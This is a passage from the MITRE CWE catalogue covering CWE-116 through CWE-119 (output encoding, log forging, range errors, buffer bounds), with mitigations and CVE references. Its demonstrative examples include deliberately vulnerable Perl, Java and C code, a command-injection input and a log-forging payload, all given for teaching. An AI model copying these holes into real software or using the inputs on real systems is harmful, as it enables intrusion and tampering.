    print "<b>Welcome, $uname!</b><p>\n";
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Example Language: *(attack)*

```
' pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

Observed Examples

Reference	Description
CVE-2008-4636	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4636*
CVE-2008-0769	Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0769*
CVE-2008-0005	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0005*
CVE-2008-5573	SQL injection via password parameter; a strong password might contain "&" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5573*
CVE-2008-3773	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3773*
CVE-2008-0757	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0757*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Notes

Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	22		Improper Output Handling
The CERT Oracle Secure Coding Standard for Java (2011)	IDS00-J	Exact	Sanitize untrusted data passed across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	IDS05-J		Use a subset of ASCII for file and path names
SEI CERT Oracle Coding Standard for Java	IDS00-J	Imprecise	Prevent SQL injection
SEI CERT Perl Coding Standard	IDS33-PL	Exact	Sanitize untrusted data passed across a trust boundary

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
81	Web Logs Tampering
85	AJAX Fingerprinting
104	Cross Zone Scripting

References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-46]Joshbw. "Output Sanitization". 2008 September 8. < http://www.analyticalengine.net/archives/58 >.

[REF-47]Niyaz PK. "Sanitizing user data: How and where to do it". 2008 September 1. < http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/ >.

[REF-48]Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007 January 0. < http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html >.

[REF-49]Jim Manico. "Input Validation - Not That Important". 2008 August 0. < http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html >.

[REF-50]Michael Eddington. "Preventing XSS with Correct Output Encoding". < http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/ >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-117: Improper Output Neutralization for Logs

Weakness ID : 117 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not neutralize or incorrectly neutralizes output that is written to logs.

Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	260
CanFollow	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	202

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012
MemberOf	C	137	Data Neutralization Issues	1851

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Non-Repudiation	Modify Application Data Hide Activities Execute Unauthorized Code or Commands *Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an*	

Scope	Impact	Likelihood
	attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following web application code attempts to read an integer value from a request object. If the parseInt call fails, then the input is logged with an error message indicating what happened.

Example Language: Java *(bad)*

```
String val = request.getParameter("val");
try {
    int value = Integer.parseInt(val);
}
```

```
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...
```

If a user submits the string "twenty-one" for val, the following entry is logged:

- INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

- INFO: Failed to parse val=twenty-one
- INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Observed Examples

Reference	Description
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4624*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Log Forging
Software Fault Patterns	SFP23		Exposed Data
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J	Exact	Do not log unsanitized user input
SEI CERT Oracle Coding Standard for Java	IDS03-J	Exact	Do not log unsanitized user input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Logs Tampering
93	Log Injection-Tampering-Forging
268	Audit Log Manipulation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-52]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < http://www.exploitingsoftware.com/ >.

[REF-53]Alec Muffet. "The night the log was forged". < http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm >.

[REF-43]OWASP. "OWASP TOP 10". < http://www.owasp.org/index.php/Top_10_2007 >.

CWE-118: Incorrect Access of Indexable Resource ('Range Error')

Weakness ID : 118 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP8		Faulty Buffer Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow

CAPEC-ID	Attack Pattern Name
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID : 119 **Status:** Stable
Structure : Simple
Abstraction : Class

Description

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	118	Incorrect Access of Indexable Resource ('Range Error')	270
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
ParentOf	B	125	Out-of-bounds Read	302
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	988
ParentOf	∞	680	Integer Overflow to Buffer Overflow	1321
ParentOf	B	786	Access of Memory Location Before Start of Buffer	1461
ParentOf	B	787	Out-of-bounds Write	1463
ParentOf	B	788	Access of Memory Location After End of Buffer	1470
ParentOf	B	805	Buffer Access with Incorrect Length Value	1497
ParentOf	B	822	Untrusted Pointer Dereference	1515
ParentOf	B	823	Use of Out-of-range Pointer Offset	1518
ParentOf	B	824	Access of Uninitialized Pointer	1520
ParentOf	B	825	Expired Pointer Dereference	1523
CanFollow	C	20	Improper Input Validation	19
CanFollow	B	128	Wrap-around Error	309
CanFollow	V	129	Improper Validation of Array Index	312
CanFollow	B	131	Incorrect Calculation of Buffer Size	325

Nature	Type	ID	Name	Page
CanFollow	B	190	Integer Overflow or Wraparound	437
CanFollow	B	193	Off-by-one Error	449
CanFollow	V	195	Signed to Unsigned Conversion Error	457
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1554
CanFollow	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1563
CanFollow	B	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1787
CanFollow	B	1260	Improper Handling of Overlap Between Protected Memory Ranges	1792

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
ParentOf	B	125	Out-of-bounds Read	302
ParentOf	B	787	Out-of-bounds Write	1463
ParentOf	B	824	Access of Uninitialized Pointer	1520

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Assembly *(Prevalence = Undetermined)*

Alternate Terms

Memory Corruption : The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical*	

Scope	Impact	Likelihood
	application-specific data -- such as a flag indicating whether the user is an administrator.	
Availability Confidentiality	Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Confidentiality	Read Memory *In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode Quality Analysis Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
```

```
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 5:

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

Observed Examples

Reference	Description
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2550*
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2403*
CVE-2009-0689	large precision value in a format string triggers overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0689*
CVE-2009-0690	negative offset value leads to out-of-bounds read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0690*
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1532
CVE-2009-1528	chain: lack of synchronization leads to memory corruption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1528*
CVE-2009-0558	attacker-controlled array index leads to code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0558*
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0269*
CVE-2009-0566	chain: incorrect calculations lead to incorrect pointer dereference and memory corruption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0566*
CVE-2009-1350	product accepts crafted messages that lead to a dereference of an arbitrary pointer *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1350*
CVE-2009-0191	chain: malformed input causes dereference of uninitialized memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0191*
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113*
CVE-2003-0542	buffer overflow involving a regular expression with a large number of captures *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0542*
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000121*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	1877
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917

Nature	Type	ID	Name	V	Page
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Applicable Platform

